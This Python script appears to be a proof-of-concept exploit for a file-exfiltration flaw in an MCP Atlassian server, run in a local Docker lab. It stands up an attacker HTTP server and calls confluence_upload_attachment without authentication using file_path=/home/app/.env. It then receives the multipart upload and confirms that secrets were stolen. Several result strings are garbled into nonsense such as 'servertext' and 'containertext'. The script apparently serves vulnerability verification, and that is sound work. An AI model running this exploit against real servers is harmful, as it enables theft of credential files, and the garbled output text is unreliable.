#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)
Attack chain:
1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
Authorization header required (unauthenticated PAT path, main.py:584-595).
2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker
container hostname, bypassing DNS validation (urls.py:107-111).
3. ConfluenceFetcher is constructed with the attacker-controlled URL
(dependencies.py:544-545).
4. confluence_upload_attachment is called with file_path=/home/app/.env —
the path is absolutized but never validated against a safe root
(attachments.py:64-79).
5. The file is opened and PUT-ed as multipart to the attacker server
(attachments.py:477,490).
Usage:
python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
[--attacker-port 18888] [--no-cleanup]
Requirements on the host running this script:
- docker (CLI + daemon)
- python3 with httpx (pip install httpx)
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
import time
# ── constants ──────────────────────────────────────────────────────────────
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DEFAULT_REPO = os.path.join(
os.path.dirname(SCRIPT_DIR), "repo"
)
DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")
NETWORK_NAME = "poc-vuln001-net"
VICTIM_NAME = "poc-vuln001-victim"
ATTACKER_NAME = "poc-vuln001-attacker"
VICTIM_IMAGE = "mcp-atlassian-vuln001"
ATTACKER_IMAGE = "python:3.12-slim"
TARGET_FILE = "/home/app/.env" # sensitive file planted in the victim image
# ── attacker server source (injected into the attacker container) ──────────
ATTACKER_SERVER_SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading
_exfil = [] # captured files
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *a):
print(f"[attacker-http] {fmt % a}", flush=True)
# Confluence auth probe — return a minimal valid user object
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if self.path.rstrip("/") == "/exfil":
self.wfile.write(json.dumps({"files": _exfil}).encode())
elif self.path.rstrip("/") == "/ready":
self.wfile.write(b'{"status":"ok"}')
else:
self.wfile.write(json.dumps({
"key": "attacker-user", "displayName": "Attacker",
"emailAddress": "attacker@evil.example", "active": True,
"accountType": "atlassian"
}).encode())
def do_PUT(self): self._recv()
def do_POST(self): self._recv()
def _recv(self):
cl = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(cl) if cl else b""
ct = self.headers.get("Content-Type", "")
print(f"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}", flush=True)
file_data = b""
if "multipart" in ct and body:
bm = re.search(r"boundary[=\s]+([\w\-]+)", ct)
if bm:
boundary = bm.group(1).encode()
for part in body.split(b"--" + boundary):
if b"\r\n\r\n" not in part:
continue
hdr, _, data = part.partition(b"\r\n\r\n")
if b'name="file"' in hdr or b"filename" in hdr:
file_data = data.rstrip(b"\r\n--")
break
if file_data:
text = file_data.decode(errors="replace")
print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
print(text[:4096], flush=True)
print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
_exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)})
else:
print("[attacker] WARNING: no file data found in request", flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({
"results": [{
"id": "att-001", "type": "attachment", "title": "exfiltrated",
"metadata": {"mediaType": "text/plain"},
"extensions": {"fileSize": len(file_data)}
}]
}).encode())
server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve_forever()
""").strip()
# ── helpers ────────────────────────────────────────────────────────────────
def run(cmd: str, **kw):
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)
return r.returncode, r.stdout, r.stderr
def run_ok(cmd: str, label: str = "") -> str:
rc, out, err = run(cmd)
if rc != 0:
tag = f" ({label})" if label else ""
print(f"[FAIL] Command{tag} exited {rc}:\n cmd: {cmd}\n stdout: {out}\n stderr: {err}", file=sys.stderr)
sys.exit(1)
return out
def docker_logs(name: str) -> str:
_, out, err = run(f"docker logs {name} 2>&1")
return out + err
def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
import urllib.request
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=3) as r:
if r.status < 500:
return True
except Exception:
pass
time.sleep(interval)
return False
def cleanup(victim_name: str, attacker_name: str, network: str):
run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null")
run(f"docker network rm {network} 2>/dev/null")
def parse_sse_result(text: str) -> dict | None:
"""Extract the first JSON-RPC result from an SSE or plain-JSON body."""
for line in text.splitlines():
line = line.strip()
if line.startswith("data:"):
payload = line[5:].strip()
elif line.startswith("{"):
payload = line
else:
continue
try:
obj = json.loads(payload)
if "result" in obj or "error" in obj:
return obj
except json.JSONDecodeError:
continue
return None
# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────
def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict:
"""
Drive the MCP streamable-http protocol to call confluence_upload_attachment
with an arbitrary file_path.
Returns a dict with keys: success, session_id, response_text, error.
"""
import httpx
service_headers = {
"X-Atlassian-Confluence-Url": attacker_container_url,
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
base_headers = {
**service_headers,
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
with httpx.Client(timeout=30) as client:
# ── 1. initialize ──────────────────────────────────────────────
print(f"[poc] Sending initialize to {victim_url}")
resp = client.post(victim_url, headers=base_headers, json={
"jsonrpc": "2.0", "method": "initialize", "id": 1,
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln001-poc", "version": "1.0"},
}
})
if resp.status_code not in (200, 201):
return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}
session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
print(f"[poc] Session-Id: {session_id}")
session_headers = {**base_headers}
if session_id:
session_headers["Mcp-Session-Id"] = session_id
# ── 2. notifications/initialized ──────────────────────────────
client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "notifications/initialized"
})
# ── 3. tools/list (optional, just for visibility) ─────────────
try:
tl = client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {}
})
tools_obj = parse_sse_result(tl.text) or {}
if "result" in tools_obj:
names = [t["name"] for t in tools_obj["result"].get("tools", [])]
print(f"[poc] Tools available: {names}")
if "confluence_upload_attachment" not in names:
print("[poc] WARNING: confluence_upload_attachment not in tools/list "
"(will still attempt tools/call)")
except Exception as e:
print(f"[poc] tools/list skipped: {e}")
# ── 4. tools/call ─────────────────────────────────────────────
print(f"[poc] Calling confluence_upload_attachment file_path={target_file}")
resp2 = client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "tools/call", "id": 3,
"params": {
"name": "confluence_upload_attachment",
"arguments": {
"content_id": "123",
"file_path": target_file,
}
}
}, timeout=30)
return {
"success": True,
"session_id": session_id,
"status_code": resp2.status_code,
"response_text": resp2.text[:2000],
"error": None,
}
# ── main ──────────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(description="VULN-001 PoC runner")
ap.add_argument("--repo", default=DEFAULT_REPO)
ap.add_argument("--victim-port", type=int, default=18000)
ap.add_argument("--attacker-port", type=int, default=18888)
ap.add_argument("--no-cleanup", action="store_true")
args = ap.parse_args()
repo_path = os.path.abspath(args.repo)
victim_port = args.victim_port
attacker_port = args.attacker_port
print("=" * 60)
print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload")
print("=" * 60)
print(f"Repo: {repo_path}")
print(f"Dockerfile: {DOCKERFILE_PATH}")
print(f"Victim port: {victim_port}")
print(f"Attacker port: {attacker_port}")
print()
# ── 0. pre-flight ─────────────────────────────────────────────────
cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
# ── 1. build victim image ─────────────────────────────────────────
print("[*] Building victim image (this may take a few minutes)...")
rc, out, err = run(
f"docker build --no-cache -t {VICTIM_IMAGE} "
f"-f {DOCKERFILE_PATH} {repo_path}"
)
if rc != 0:
print(f"[FAIL] docker build failed:\n{err[-3000:]}", file=sys.stderr)
sys.exit(1)
print(f"[+] Victim image built: {VICTIM_IMAGE}")
# ── 2. create network ─────────────────────────────────────────────
print("[*] Creating Docker network...")
run_ok(f"docker network create {NETWORK_NAME}", "network create")
print(f"[+] Network created: {NETWORK_NAME}")
try:
# ── 3. start attacker container ────────────────────────────────
print("[*] Starting attacker HTTP server...")
attacker_code_escaped = ATTACKER_SERVER_SRC.replace("'", "'\"'\"'")
run_ok(
f"docker run -d "
f"--network {NETWORK_NAME} "
f"--name {ATTACKER_NAME} "
f"-p {attacker_port}:8888 "
f"{ATTACKER_IMAGE} "
f"python3 -c '{attacker_code_escaped}'",
"start attacker"
)
if not wait_http(f"http://127.0.0.1:{attacker_port}/ready", timeout=30):
print("[FAIL] Attacker server did not start in time")
print(docker_logs(ATTACKER_NAME))
sys.exit(1)
print(f"[+] Attacker server ready on port {attacker_port}")
# ── 4. start victim container ──────────────────────────────────
print("[*] Starting victim MCP server...")
run_ok(
f"docker run -d "
f"--network {NETWORK_NAME} "
f"--name {VICTIM_NAME} "
f"-p {victim_port}:8000 "
f"-e TRANSPORT=streamable-http "
f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
f"-e READ_ONLY_MODE=false "
f"-e MCP_LOGGING_STDOUT=true "
f"-e MCP_VERBOSE=true "
f"{VICTIM_IMAGE} "
f"--transport streamable-http --port 8000 --host 0.0.0.0",
"start victim"
)
print("[*] Waiting for victim MCP server to be ready...")
if not wait_http(f"http://127.0.0.1:{victim_port}/healthz", timeout=60):
print("[FAIL] Victim server did not start in time")
print(docker_logs(VICTIM_NAME))
sys.exit(1)
print(f"[+] Victim MCP server ready on port {victim_port}")
# ── 5. run the exploit ─────────────────────────────────────────
print()
print("[*] Launching MCP exploit...")
victim_mcp_url = f"http://127.0.0.1:{victim_port}/mcp"
attacker_container_url = f"http://{ATTACKER_NAME}:8888"
result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)
if not result["success"]:
print(f"[FAIL] MCP exploit error: {result['error']}")
print("Victim logs:\n", docker_logs(VICTIM_NAME)[-2000:])
sys.exit(1)
print(f"[poc] tools/call HTTP {result['status_code']}")
print(f"[poc] Response:\n{result['response_text']}")
# ── 6. verify exfiltration ─────────────────────────────────────
time.sleep(2)
import urllib.request
with urllib.request.urlopen(
f"http://127.0.0.1:{attacker_port}/exfil", timeout=5
) as r:
exfil_data = json.loads(r.read())
attacker_raw_logs = docker_logs(ATTACKER_NAME)
print()
print("Attacker server logs:")
print(attacker_raw_logs[-4000:])
files = exfil_data.get("files", [])
confirmed = bool(files) or (
"EXFILTRATED FILE CONTENT" in attacker_raw_logs
and "SECRET_DEPLOY_KEY" in attacker_raw_logs
)
evidence_snippet = ""
if files:
evidence_snippet = files[0].get("content", "")[:500]
elif "EXFILTRATED FILE CONTENT START" in attacker_raw_logs:
start = attacker_raw_logs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4
end = attacker_raw_logs.find("EXFILTRATED FILE CONTENT END", start)
evidence_snippet = attacker_raw_logs[start:end].strip()[:500]
print()
if confirmed:
print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.")
print(f"[PASS] Evidence snippet:\n{evidence_snippet}")
else:
print("[FAIL] file leak evidencetext checktext text.")
print("attacker_logs:", attacker_raw_logs[-1000:])
# ── 7. write phase2_result.json ────────────────────────────────
phase2 = {
"passed": confirmed,
"verdict": "PASS" if confirmed else "FAIL",
"reason": (
"MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas "
"without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext "
"file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. "
"attachments.py:477 open(file_path,'rb')text sensitive filetext text multipart PUT requesttext containsdone."
if confirmed else
"attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required."
),
"build_command": (
f"docker build -t {VICTIM_IMAGE} "
f"-f {DOCKERFILE_PATH} {repo_path}"
),
"run_command": (
f"docker network create {NETWORK_NAME} && "
f"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} "
f"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c '<attacker_server_src>' && "
f"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} "
f"-p {victim_port}:8000 "
f"-e TRANSPORT=streamable-http "
f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
f"-e READ_ONLY_MODE=false "
f"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0"
),
"poc_command": (
f"python3 {os.path.basename(__file__)} "
f"--repo {repo_path} "
f"--victim-port {victim_port} "
f"--attacker-port {attacker_port}"
),
"evidence": evidence_snippet or attacker_raw_logs[-500:],
"artifacts": ["Dockerfile", "poc.py"],
}
result_path = os.path.join(SCRIPT_DIR, "phase2_result.json")
with open(result_path, "w") as f:
json.dump(phase2, f, indent=2, ensure_ascii=False)
print(f"\n[*] phase2_result.json written: {result_path}")
finally:
if not args.no_cleanup:
print("[*] Cleaning up containers and network...")
cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
print("[*] Cleanup done.")
else:
print(f"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})")
if __name__ == "__main__":
main()